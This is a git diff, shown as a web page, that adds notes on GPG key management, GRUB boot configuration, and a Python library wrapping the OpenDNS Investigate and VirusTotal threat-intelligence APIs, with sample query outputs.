Note: this is **not** very safe since you can't be sure of the key's authenticity.
|
||||||
|
|
||||||
|
### V. Signing a key: The Web of Trust
|
||||||
|
|
||||||
|
Signing a key tells your software that you trust the key that you have been provided (you have verified that it is associated with the person in question).
|
||||||
|
|
||||||
|
To sign a key type:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --sign-key PERSON_EMAIL
|
||||||
|
```
|
||||||
|
|
||||||
|
You should allow the person whose key you are signing to enjoy the advantages of your trusted relationship, done by sending her back the signed key:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --export --armor PERSON_EMAIL
|
||||||
|
```
|
||||||
|
|
||||||
|
When you received a similar *trusted* key, you can import it into your GPG database:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --import FILENAME
|
||||||
|
```
|
||||||
|
|
||||||
|
### VI. Other Useful Commands
|
||||||
|
|
||||||
|
#### To delete a key from your keyring:
|
||||||
|
```sh
|
||||||
|
$ gpg --delete-key-name KEY_NAME
|
||||||
|
```
|
||||||
|
|
||||||
|
#### To edit a key (for example, the expiration date):
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --edit KEY_NAME
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#### If you have more than one key:
|
||||||
|
|
||||||
|
Edit ```~/.gnupg/gpg.conf``` with your favorite key:
|
||||||
|
|
||||||
|
```
|
||||||
|
default-key KEY_NAME
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Keep your keys fresh:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --refresh-keys
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#### To list your keys:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --list-keys
|
||||||
|
```
|
||||||
|
|
||||||
|
#### And of course:
|
||||||
|
```sh
|
||||||
|
$ man gpg
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### VII. Encrypting and Decrypting Messages
|
||||||
|
|
||||||
|
|
||||||
|
With someone's **public key**, you can **encrypt** messages that can only be decrypted with her secret key. You can also **verify signatures** that was generated with her secret key.
|
||||||
|
|
||||||
|
On the other hand, with your secret key, you can **decrypt** messages that were encrypted using your public key. You can also and **sign messages**.
|
||||||
|
|
||||||
|
With GPG, you encrypt messages using the ```--encrypt``` flag.
|
||||||
|
|
||||||
|
The command below encrypts the message signing with your private key (to guarantee that is coming from you). It also generates the message in a text format, instead of raw bytes:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --encrypt --sign --armor -r PERSON_EMAIL FILE_TO_BE_ENCRYPTED
|
||||||
|
```
|
||||||
|
|
||||||
|
If you want to be able to read this message with your own email address, you should add another recipient flag ```-r``` with your email address.
|
||||||
|
|
||||||
|
To decrypt a message, type:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg FILENAME
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### VIII. Revoking a key
|
||||||
|
|
||||||
|
Whenever you need to revoke a key (because it might be compromised, for example), you can generate a revocation certificate with:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --output my_revocation.asc --gen-revoke KEY_NAME
|
||||||
|
```
|
||||||
|
|
||||||
|
To import the revocation into your keyring:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --import my_revocation.asc
|
||||||
|
```
|
||||||
|
|
||||||
|
Finally, this command sends the revoked key to the public key server:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --keyserver pgp.mit.edu --send-keys KEY_NAME
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
|
||||||
|
## Final Comments
|
||||||
|
|
||||||
|
If you prefer a GUI instead of the command line, I strongly recommend [seahorse](https://apps.fedoraproject.org/packages/seahorse/bugs). It makes it really easy to manage all your keys (not only OpenPGP) and passwords.
|
||||||
|
|
||||||
|
Another nice (alpha) project is [keybase.io](https://keybase.io/). It's a web of trust social network, where you can sign your key with your public profiles. Check [mine here](https://keybase.io/bt3). Encryption and decryption can be done in the command line with their [node.js](https://keybase.io/docs/command_line) application. I don't trust uploading my private key anywhere, but I do think that the idea is better than a simple public key server.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Finally, a word about browser plugins: although there are several of them to encrypt webmail with OpenPGP, such as [mymail-crypt](https://chrome.google.com/webstore/detail/mymail-crypt-for-gmail/jcaobjhdnlpmopmjhijplpjhlplfkhba?hl=en-US) or [Mailvelope](https://www.mailvelope.com/), I particularly don't recommend this solution if your message is very sensitive.
|
||||||
|
|
||||||
|
If you are serious about ensuring your long-term privacy, the safest way to go is to use a text editor to write your email message, encrypting the message outside of the web browser, and then cutting and pasting into your webmail interface. This will guarantee that only the recipient will be able to read your email.
|
||||||
|
|
||||||
|
If you really need something in your browser, the creator of [Cryptocat](https://crypto.cat/) recently released [minilock](https://minilock.io/). This tool uses [Curve25519 elliptic curve cryptography](http://en.wikipedia.org/wiki/Curve25519) (the same as in Cryptocat) so that the public keys are much shorter (and easier to share). Remember, it's a new app, so it might not yet be the best choice for the high-stakes environment (but it's worth keeping tabs on this project).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Further Readings
|
||||||
|
|
||||||
|
- [The GNU Privacy Handbook](https://www.gnupg.org/gph/en/manual.html)
|
File diff suppressed because it is too large
Load Diff
37
Linux_Hacking/intro_GRUB.md
Normal file
37
Linux_Hacking/intro_GRUB.md
Normal file
@ -0,0 +1,37 @@
|
|||||||
|
# Grub Configuration
|
||||||
|
|
||||||
|
## Understanding MBR and EFI
|
||||||
|
|
||||||
|
BIOS/MBR is an older partition table type also referred to as Legacy mode. Nowadays, UEFI is in most of the new computer (especially those that came with W8 or W8.1 pre-installed). UEFI always use the gpt partition table type.
|
||||||
|
|
||||||
|
To find out each one your computer uses, you can boot into your computers Bios/firmware. Besides, to see if it is UEFI:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ efibootmgr
|
||||||
|
```
|
||||||
|
|
||||||
|
In a UEFI install, the ```grub.cfg``` file belongs in ```/boot/efi/EFI/fedora/grub.cfg```. In a msdos/MBR install, ```grub.cfg``` belongs in ```/boot/grub2/grub.cfg```.
|
||||||
|
|
||||||
|
Extra: to see your partitions, you can type:
|
||||||
|
```
|
||||||
|
$ gdisk -l /dev/sda
|
||||||
|
```
|
||||||
|
|
||||||
|
## Modifying Grub Options
|
||||||
|
|
||||||
|
Edit ```/etc/default/grub```. For example, setting:
|
||||||
|
|
||||||
|
```
|
||||||
|
GRUB_DEFAULT="0"
|
||||||
|
```
|
||||||
|
|
||||||
|
After that, type the ```grub2-mkconfig``` command. In a MBR boot:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ grub2-mkconfig -o /boot/grub2/grub.cfg
|
||||||
|
```
|
||||||
|
|
||||||
|
In an EFI boot:
|
||||||
|
```
|
||||||
|
$ grub2-mkconfig -o /boot/efi/EFI/fedora/grub.cfg
|
||||||
|
```
|
740
Network_and_802.11/DNS_recon.md
Normal file
740
Network_and_802.11/DNS_recon.md
Normal file
@ -0,0 +1,740 @@
|
|||||||
|
# Introducing Threat Intel
|
||||||
|
|
||||||
|
|
||||||
|
[Threat Intel](https://github.com/Yelp/threat_intel) is a set of Threat Intelligence APIs that can be used by security developers and analysts for incident response. Additionally, it contains wrappers for:
|
||||||
|
|
||||||
|
* OpenDNS Investigate API
|
||||||
|
* VirusTotal API v2.0
|
||||||
|
* ShadowServer API
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
### OpenDNS Investigate API
|
||||||
|
|
||||||
|
[OpenDNS Investigate](https://investigate.opendns.com/) provides an API that
|
||||||
|
allows querying for:
|
||||||
|
|
||||||
|
* Domain categorization
|
||||||
|
* Security information about a domain
|
||||||
|
* Co-occurrences for a domain
|
||||||
|
* Related domains for a domain
|
||||||
|
* Domains related to an IP
|
||||||
|
* Domain tagging dates for a domain
|
||||||
|
* DNS RR history for a domain
|
||||||
|
* WHOIS information
|
||||||
|
- WHOIS information for an email
|
||||||
|
- WHOIS information for a nameserver
|
||||||
|
- Historical WHOIS information for a domain
|
||||||
|
* Latest malicious domains for an IP
|
||||||
|
|
||||||
|
To use the Investigate API wrapper import `InvestigateApi` class from `threat_intel.opendns` module:
|
||||||
|
|
||||||
|
```python
|
||||||
|
from threat_intel.opendns import InvestigateApi
|
||||||
|
```
|
||||||
|
|
||||||
|
To initialize the API wrapper, you need the API key:
|
||||||
|
|
||||||
|
```python
|
||||||
|
investigate = InvestigateApi("<INVESTIGATE-API-KEY-HERE>")
|
||||||
|
```
|
||||||
|
|
||||||
|
You can also specify a file name where the API responses will be cached in a JSON file,
|
||||||
|
to save you the bandwidth for the multiple calls about the same domains or IPs:
|
||||||
|
|
||||||
|
```python
|
||||||
|
investigate = InvestigateApi("<INVESTIGATE-API-KEY-HERE>", cache_file_name="/tmp/cache.opendns.json")
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Domain categorization
|
||||||
|
|
||||||
|
Calls `domains/categorization/?showLabels` Investigate API endpoint.
|
||||||
|
It takes a list (or any other Python enumerable) of domains and returns
|
||||||
|
the categories associated with these domains by OpenDNS along with a [-1, 0, 1] score, where -1 is a malicious status.
|
||||||
|
|
||||||
|
```python
|
||||||
|
domains = ["google.com", "baidu.com", "bibikun.ru"]
|
||||||
|
investigate.categorization(domains)
|
||||||
|
```
|
||||||
|
|
||||||
|
will result in:
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
"baidu.com": {"status": 1, "content_categories": ["Search Engines"], "security_categories": []},
|
||||||
|
"google.com": {"status": 1, "content_categories": ["Search Engines"], "security_categories": []},
|
||||||
|
"bibikun.ru": {"status": -1, "content_categories": [], "security_categories": ["Malware"]}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Security information about a domain
|
||||||
|
|
||||||
|
Calls `security/name/` Investigate API endpoint.
|
||||||
|
It takes any Python enumerable with domains, e.g., list, and returns several security parameters
|
||||||
|
associated with each domain.
|
||||||
|
|
||||||
|
```python
|
||||||
|
domains = ["google.com", "baidu.com", "bibikun.ru"]
|
||||||
|
investigate.security(domains)
|
||||||
|
```
|
||||||
|
|
||||||
|
will result in:
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
"baidu.com": {
|
||||||
|
"found": true,
|
||||||
|
"handlings": {
|
||||||
|
"domaintagging": 0.00032008666962131285,
|
||||||
|
"blocked": 0.00018876906157154347,
|
||||||
|
"whitelisted": 0.00019697641207465407,
|
||||||
|
"expired": 2.462205150933176e-05,
|
||||||
|
"normal": 0.9992695458052232
|
||||||
|
},
|
||||||
|
"dga_score": 0,
|
||||||
|
"rip_score": 0,
|
||||||
|
|
||||||
|
..
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Co-occurrences for a domain
|
||||||
|
|
||||||
|
Calls `recommendations/name/` Investigate API endpoint.
|
||||||
|
Use this method to find out a list of co-occurrence domains (domains that are being accessed by the same users within a small window of time) to the one given in a list, or any other Python enumerable.
|
||||||
|
|
||||||
|
```python
|
||||||
|
domains = ["google.com", "baidu.com", "bibikun.ru"]
|
||||||
|
investigate.cooccurrences(domains)
|
||||||
|
```
|
||||||
|
|
||||||
|
will result in:
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
"baidu.com": {
|
||||||
|
"found": true,
|
||||||
|
"pfs2": [
|
||||||
|
["www.howtoforge.de", 0.14108563836506008],
|
||||||
|
}
|
||||||
|
|
||||||
|
..
|
||||||
|
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Related domains for a domain
|
||||||
|
|
||||||
|
Calls `links/name/` Investigate API endpoint.
|
||||||
|
Use this method to find out a list of related domains (domains that have been frequently seen requested around a time window of 60 seconds, but that are not associated with the given domain) to the one given in a list, or any other Python enumerable.
|
||||||
|
|
||||||
|
```python
|
||||||
|
domains = ["google.com", "baidu.com", "bibikun.ru"]
|
||||||
|
investigate.related_domains(domains)
|
||||||
|
```
|
||||||
|
|
||||||
|
will result in:
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
"tb1": [
|
||||||
|
["t.co", 11.0],
|
||||||
|
]
|
||||||
|
|
||||||
|
..
|
||||||
|
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Domain tagging dates for a domain
|
||||||
|
|
||||||
|
Calls `domains/name/` Investigate API endpoint.
|
||||||
|
|
||||||
|
Use this method to get the date range when the domain being queried was a part of the OpenDNS block list and how long a domain has been in this list
|
||||||
|
|
||||||
|
```python
|
||||||
|
domains = ["google.com", "baidu.com", "bibikun.ru"]
|
||||||
|
investigate.domain_tag(domains)
|
||||||
|
```
|
||||||
|
|
||||||
|
will result in:
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
'category': u'Malware',
|
||||||
|
'url': None,
|
||||||
|
'period': {
|
||||||
|
'begin': u'2013-09-16',
|
||||||
|
'end': u'Current'
|
||||||
|
}
|
||||||
|
|
||||||
|
..
|
||||||
|
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### DNS RR history for a Domain
|
||||||
|
|
||||||
|
Calls `dnsdb/name/a/` Investigate API endpoint.
|
||||||
|
Use this method to find out related domains to domains given in a list, or any other Python enumerable.
|
||||||
|
|
||||||
|
```python
|
||||||
|
domains = ["google.com", "baidu.com", "bibikun.ru"]
|
||||||
|
investigate.dns_rr(domains)
|
||||||
|
```
|
||||||
|
|
||||||
|
will result in:
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
'features': {
|
||||||
|
'geo_distance_mean': 0.0,
|
||||||
|
'locations': [
|
||||||
|
{
|
||||||
|
'lat': 59.89440155029297,
|
||||||
|
'lon': 30.26420021057129
|
||||||
|
}
|
||||||
|
],
|
||||||
|
'rips': 1,
|
||||||
|
'is_subdomain': False,
|
||||||
|
'ttls_mean': 86400.0,
|
||||||
|
'non_routable': False,
|
||||||
|
}
|
||||||
|
|
||||||
|
..
|
||||||
|
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### DNS RR history for an IP
|
||||||
|
|
||||||
|
Calls `dnsdb/ip/a/` Investigate API endpoint.
|
||||||
|
Use this method to find out related domains to the IP addresses given in a list, or any other Python enumerable.
|
||||||
|
|
||||||
|
```python
|
||||||
|
ips = ['8.8.8.8']
|
||||||
|
investigate.rr_history(ips)
|
||||||
|
```
|
||||||
|
|
||||||
|
will result in:
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
"8.8.8.8": {
|
||||||
|
"rrs": [
|
||||||
|
{
|
||||||
|
"name": "8.8.8.8",
|
||||||
|
"type": "A",
|
||||||
|
"class": "IN",
|
||||||
|
"rr": "000189.com.",
|
||||||
|
"ttl": 3600
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "8.8.8.8",
|
||||||
|
"type": "A",
|
||||||
|
"class": "IN",
|
||||||
|
"rr": "008.no-ip.net.",
|
||||||
|
"ttl": 60
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
..
|
||||||
|
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### WHOIS information for a domain
|
||||||
|
|
||||||
|
##### WHOIS information for an email
|
||||||
|
|
||||||
|
Calls `whois/emails/{email}` Investigate API endpoint.
|
||||||
|
|
||||||
|
Use this method to see WHOIS information for the email address. (For now, the OpenDNS API will only return at most 500 results)
|
||||||
|
|
||||||
|
```python
|
||||||
|
emails = ["dns-admin@google.com"]
|
||||||
|
investigate.whois_emails(emails)
|
||||||
|
```
|
||||||
|
|
||||||
|
will result in:
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
"dns-admin@google.com": {
|
||||||
|
"totalResults": 500,
|
||||||
|
"moreDataAvailable": true,
|
||||||
|
"limit": 500,
|
||||||
|
"domains": [
|
||||||
|
{
|
||||||
|
"domain": "0emm.com",
|
||||||
|
"current": true
|
||||||
|
},
|
||||||
|
..
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
##### WHOIS information for a nameserver
|
||||||
|
|
||||||
|
Calls `whois/nameservers/{nameserver}` Investigate API endpoint.
|
||||||
|
|
||||||
|
Use this method to see WHOIS information for the nameserver. (For now, the OpenDNS API will only return at most 500 results)
|
||||||
|
|
||||||
|
```python
|
||||||
|
nameservers = ["ns2.google.com"]
|
||||||
|
investigate.whois_nameservers(nameservers)
|
||||||
|
```
|
||||||
|
|
||||||
|
will result in:
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
"ns2.google.com": {
|
||||||
|
"totalResults": 500,
|
||||||
|
"moreDataAvailable": true,
|
||||||
|
"limit": 500,
|
||||||
|
"domains": [
|
||||||
|
{
|
||||||
|
"domain": "46645.biz",
|
||||||
|
"current": true
|
||||||
|
},
|
||||||
|
..
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
##### WHOIS information for a domain
|
||||||
|
|
||||||
|
Calls `whois/{domain}` Investigate API endpoint.
|
||||||
|
|
||||||
|
Use this method to see WHOIS information for the domain.
|
||||||
|
|
||||||
|
```python
|
||||||
|
domains = ["google.com"]
|
||||||
|
investigate.whois_domains(domains)
|
||||||
|
```
|
||||||
|
|
||||||
|
will result in:
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
"administrativeContactFax": null,
|
||||||
|
"whoisServers": null,
|
||||||
|
"addresses": [
|
||||||
|
"1600 amphitheatre parkway",
|
||||||
|
"please contact contact-admin@google.com, 1600 amphitheatre parkway",
|
||||||
|
"2400 e. bayshore pkwy"
|
||||||
|
],
|
||||||
|
..
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
##### Historical WHOIS information for a domain
|
||||||
|
|
||||||
|
Calls `whois/{domain}/history` Investigate API endpoint.
|
||||||
|
|
||||||
|
Use this method to see historical WHOIS information for the domain.
|
||||||
|
|
||||||
|
```python
|
||||||
|
domains = ["5esb.biz"]
|
||||||
|
investigate.whois_domains_history(domains)
|
||||||
|
```
|
||||||
|
|
||||||
|
will result in:
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
'5esb.biz':[
|
||||||
|
{
|
||||||
|
u'registrantFaxExt':u'',
|
||||||
|
u'administrativeContactPostalCode':u'656448',
|
||||||
|
u'zoneContactCity':u'',
|
||||||
|
u'addresses':[
|
||||||
|
u'nan qu hua yuan xiao he'
|
||||||
|
],
|
||||||
|
..
|
||||||
|
},
|
||||||
|
..
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Latest malicious domains for an IP
|
||||||
|
|
||||||
|
Calls `ips/{ip}/latest_domains` Investigate API endpoint.
|
||||||
|
|
||||||
|
Use this method to see whether the IP address has any malicious domains associated with it.
|
||||||
|
|
||||||
|
```python
|
||||||
|
ips = ["8.8.8.8"]
|
||||||
|
investigate.latest_malicious(ips)
|
||||||
|
```
|
||||||
|
|
||||||
|
will result in:
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
[
|
||||||
|
'7ltd.biz',
|
||||||
|
'co0s.ru',
|
||||||
|
't0link.in',
|
||||||
|
]
|
||||||
|
|
||||||
|
..
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
### VirusTotal API
|
||||||
|
|
||||||
|
[VirusTotal](https://www.virustotal.com/) provides an
|
||||||
|
[API](https://www.virustotal.com/en/documentation/public-api/) that makes it
|
||||||
|
possible to query for the reports about:
|
||||||
|
|
||||||
|
* Domains
|
||||||
|
* URLs
|
||||||
|
* IPs
|
||||||
|
* File hashes
|
||||||
|
* File Upload
|
||||||
|
* Live Feed
|
||||||
|
* Advanced search
|
||||||
|
|
||||||
|
To use the VirusTotal API wrapper import `VirusTotalApi` class from `threat_intel.virustotal` module:
|
||||||
|
|
||||||
|
```python
|
||||||
|
from threat_intel.virustotal import VirusTotalApi
|
||||||
|
```
|
||||||
|
|
||||||
|
To initialize the API wrapper, you need the API key:
|
||||||
|
|
||||||
|
```python
|
||||||
|
vt = VirusTotalApi("<VIRUSTOTAL-API-KEY-HERE>")
|
||||||
|
```
|
||||||
|
|
||||||
|
VirusTotal API calls allow squeezing a list of file hashes or URLs into a single HTTP call.
|
||||||
|
Depending on the API version you are using (public or private) you may need to tune the maximum number
|
||||||
|
of the resources (file hashes or URLs) that could be passed in a single API call.
|
||||||
|
You can do it with the `resources_per_req` parameter:
|
||||||
|
|
||||||
|
```python
|
||||||
|
vt = VirusTotalApi("<VIRUSTOTAL-API-KEY-HERE>", resources_per_req=4)
|
||||||
|
```
|
||||||
|
|
||||||
|
When using the public API your standard request rate allows you too put maximum 4 resources per request.
|
||||||
|
With private API you are able to put up to 25 resources per call. That is also the default value if you
|
||||||
|
don't pass the `resources_per_req` parameter.
|
||||||
|
|
||||||
|
Of course, when calling the API wrapper methods in the `VirusTotalApi` class, you can pass as many resources
|
||||||
|
as you want and the wrapper will take care of producing as many API calls as necessary to satisfy the request rate.
|
||||||
|
|
||||||
|
Similarly to OpenDNS API wrapper, you can also specify the file name where the responses will be cached:
|
||||||
|
|
||||||
|
```python
|
||||||
|
vt = VirusTotalApi("<VIRUSTOTAL-API-KEY-HERE>", cache_file_name="/tmp/cache.virustotal.json")
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Domain report endpoint
|
||||||
|
|
||||||
|
Calls `domain/report` VirusTotal API endpoint.
|
||||||
|
Pass a list or any other Python enumerable containing the domains:
|
||||||
|
|
||||||
|
```python
|
||||||
|
domains = ["google.com", "baidu.com", "bibikun.ru"]
|
||||||
|
vt.get_domain_reports(domains)
|
||||||
|
```
|
||||||
|
|
||||||
|
will result in:
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
"baidu.com": {
|
||||||
|
"undetected_referrer_samples": [
|
||||||
|
{
|
||||||
|
"positives": 0,
|
||||||
|
"total": 56,
|
||||||
|
"sha256": "e3c1aea1352362e4b5c008e16b03810192d12a4f1cc71245f5a75e796c719c69"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
|
||||||
|
..
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
#### URL report endpoint
|
||||||
|
|
||||||
|
Calls `url/report` VirusTotal API endpoint.
|
||||||
|
Pass a list or any other Python enumerable containing the URL addresses:
|
||||||
|
|
||||||
|
```python
|
||||||
|
urls = ["http://www.google.com", "http://www.yelp.com"]
|
||||||
|
vt.get_url_reports(urls)
|
||||||
|
```
|
||||||
|
|
||||||
|
will result in:
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
"http://www.google.com": {
|
||||||
|
"permalink": "https://www.virustotal.com/url/dd014af5ed6b38d9130e3f466f850e46d21b951199d53a18ef29ee9341614eaf/analysis/1423344006/",
|
||||||
|
"resource": "http://www.google.com",
|
||||||
|
"url": "http://www.google.com/",
|
||||||
|
"response_code": 1,
|
||||||
|
"scan_date": "2015-02-07 21:20:06",
|
||||||
|
"scan_id": "dd014af5ed6b38d9130e3f466f850e46d21b951199d53a18ef29ee9341614eaf-1423344006",
|
||||||
|
"verbose_msg": "Scan finished, scan information embedded in this object",
|
||||||
|
"filescan_id": null,
|
||||||
|
"positives": 0,
|
||||||
|
"total": 62,
|
||||||
|
"scans": {
|
||||||
|
"CLEAN MX": {
|
||||||
|
"detected": false,
|
||||||
|
"result": "clean site"
|
||||||
|
},
|
||||||
|
}
|
||||||
|
..
|
||||||
|
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### URL scan endpoint
|
||||||
|
|
||||||
|
Calls 'url/scan' VirusTotal API endpoint.
|
||||||
|
Submit a url or any other Python enumerable containing the URL addresses:
|
||||||
|
|
||||||
|
```python
|
||||||
|
urls = ["http://www.google.com", "http://www.yelp.com"]
|
||||||
|
vt.post_url_report(urls)
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Hash report endpoint
|
||||||
|
|
||||||
|
Calls `file/report` VirusTotal API endpoint.
|
||||||
|
You can request the file reports passing a list of hashes (md5, sha1 or sha2):
|
||||||
|
|
||||||
|
```python
|
||||||
|
file_hashes = [
|
||||||
|
"99017f6eebbac24f351415dd410d522d",
|
||||||
|
"88817f6eebbac24f351415dd410d522d"
|
||||||
|
]
|
||||||
|
|
||||||
|
vt.get_file_reports(file_hashes)
|
||||||
|
```
|
||||||
|
|
||||||
|
will result in:
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
"88817f6eebbac24f351415dd410d522d": {
|
||||||
|
"response_code": 0,
|
||||||
|
"resource": "88817f6eebbac24f351415dd410d522d",
|
||||||
|
"verbose_msg": "The requested resource is not among the finished, queued or pending scans"
|
||||||
|
},
|
||||||
|
"99017f6eebbac24f351415dd410d522d": {
|
||||||
|
"scan_id": "52d3df0ed60c46f336c131bf2ca454f73bafdc4b04dfa2aea80746f5ba9e6d1c-1423261860",
|
||||||
|
"sha1": "4d1740485713a2ab3a4f5822a01f645fe8387f92",
|
||||||
|
}
|
||||||
|
|
||||||
|
..
|
||||||
|
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Hash rescan endpoint
|
||||||
|
|
||||||
|
Calls `file/rescan` VirusTotal API endpoint. Use to rescan a previously submitted file.
|
||||||
|
You can request the file reports passing a list of hashes (md5, sha1 or sha2):
|
||||||
|
|
||||||
|
#### Hash behavior endpoint
|
||||||
|
|
||||||
|
Calls `file/behaviour` VirusTotal API endpoint. Use to get a report about the behavior of the file when executed in a sandboxed environment (Cuckoo sandbox).
|
||||||
|
You can request the file reports passing a list of hashes (md5, sha1 or sha2):
|
||||||
|
|
||||||
|
```python
|
||||||
|
file_hashes = [
|
||||||
|
"99017f6eebbac24f351415dd410d522d",
|
||||||
|
"88817f6eebbac24f351415dd410d522d"
|
||||||
|
]
|
||||||
|
|
||||||
|
vt.get_file_behaviour(file_hashes)
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Hash network-traffic endpoint
|
||||||
|
|
||||||
|
Calls `file/network-traffic` VirusTotal API endpoint. Use to get the dump of the network traffic generated by the file when executed.
|
||||||
|
You can request the file reports passing a list of hashes (md5, sha1 or sha2):
|
||||||
|
|
||||||
|
```python
|
||||||
|
file_hashes = [
|
||||||
|
"99017f6eebbac24f351415dd410d522d",
|
||||||
|
"88817f6eebbac24f351415dd410d522d"
|
||||||
|
]
|
||||||
|
|
||||||
|
vt.get_file_network_traffic(file_hashes)
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Hash download endpoint
|
||||||
|
|
||||||
|
Calls `file/download` VirusTotal API endpoint. Use to download a file by its hash.
|
||||||
|
You can request the file reports passing a list of hashes (md5, sha1 or sha2):
|
||||||
|
|
||||||
|
```python
|
||||||
|
file_hashes = [
|
||||||
|
"99017f6eebbac24f351415dd410d522d",
|
||||||
|
"88817f6eebbac24f351415dd410d522d"
|
||||||
|
]
|
||||||
|
|
||||||
|
vt.get_file_download(file_hashes)
|
||||||
|
```
|
||||||
|
|
||||||
|
#### IP reports endpoint
|
||||||
|
|
||||||
|
Calls `ip-address/report` VirusTotal API endpoint.
|
||||||
|
Pass a list or any other Python enumerable containing the IP addresses:
|
||||||
|
|
||||||
|
```python
|
||||||
|
ips = ['90.156.201.27', '198.51.132.80']
|
||||||
|
vt.get_ip_reports(ips)
|
||||||
|
```
|
||||||
|
|
||||||
|
will result in:
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
"90.156.201.27": {
|
||||||
|
"asn": "25532",
|
||||||
|
"country": "RU",
|
||||||
|
"response_code": 1,
|
||||||
|
"as_owner": ".masterhost autonomous system",
|
||||||
|
"verbose_msg": "IP address found in dataset",
|
||||||
|
"resolutions": [
|
||||||
|
{
|
||||||
|
"last_resolved": "2013-04-01 00:00:00",
|
||||||
|
"hostname": "027.ru"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"last_resolved": "2015-01-20 00:00:00",
|
||||||
|
"hostname": "600volt.ru"
|
||||||
|
},
|
||||||
|
|
||||||
|
..
|
||||||
|
|
||||||
|
],
|
||||||
|
"detected_urls": [
|
||||||
|
{
|
||||||
|
"url": "http://shop.albione.ru/",
|
||||||
|
"positives": 2,
|
||||||
|
"total": 52,
|
||||||
|
"scan_date": "2014-04-06 11:18:17"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "http://www.orlov.ru/",
|
||||||
|
"positives": 3,
|
||||||
|
"total": 52,
|
||||||
|
"scan_date": "2014-03-05 09:13:31"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
},
|
||||||
|
|
||||||
|
"198.51.132.80": {
|
||||||
|
|
||||||
|
..
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### URL live feed endpoint
|
||||||
|
|
||||||
|
Calls `url/distribution` VirusTotal API endpoint. Use to get a live feed with the latest URLs submitted to VirusTotal.
|
||||||
|
|
||||||
|
```python
|
||||||
|
vt.get_url_distribution()
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Hash live feed endpoint
|
||||||
|
|
||||||
|
Calls `file/distribution` VirusTotal API endpoint. Use to get a live feed with the latest Hashes submitted to VirusTotal.
|
||||||
|
|
||||||
|
```python
|
||||||
|
vt.get_file_distribution()
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Hash search endpoint
|
||||||
|
|
||||||
|
